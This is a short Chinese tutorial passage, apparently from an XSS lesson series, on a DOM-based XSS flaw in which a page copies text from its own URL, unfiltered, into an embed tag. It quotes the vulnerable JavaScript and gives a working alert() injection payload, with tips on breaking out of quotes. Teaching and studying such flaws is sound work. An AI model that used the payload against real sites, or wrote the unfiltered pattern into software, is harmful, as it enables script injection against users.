纯粹的完全无过滤确实不太好找,这个其实是输出在HTML属性里,严格来说应该算是第三课的扩展,不过算了,勉强算是没有任何过滤吧。第三课的时候我找个输出在<input value= 的例子。

漏洞地址:

?url=68397653_2202974785_Z0u3GCJuDm7K+l1lHz2stqkP7KQNt6nni2q2slWgIgZcQ0/XM5Gfat4O5y/TA9kEqDhAQpA8fPkg0h4

漏洞成因:

var str=window.location.href;

var es=/url=/;

es.exec(str);

var right=RegExp.rightContext;

……

<embed id=sp pluginspage='' src='="+right+"/s.swf' type=……

URL取得的内容未做任何过滤,直接带入到embed标签内。很典型的XSS。

构造地址:

?url=11">'><img src=1 onerror=alert(1);><textarea>

附加说明:

1 为啥要用">'>:实际测试中,如果我用单引号,引用地址会变成双引号;如果我用双引号,它就用单引号引用。我怒了, 干脆都加上,总有一款适合你。

2 最近比较喜欢使用<textarea>屏蔽后面的东西。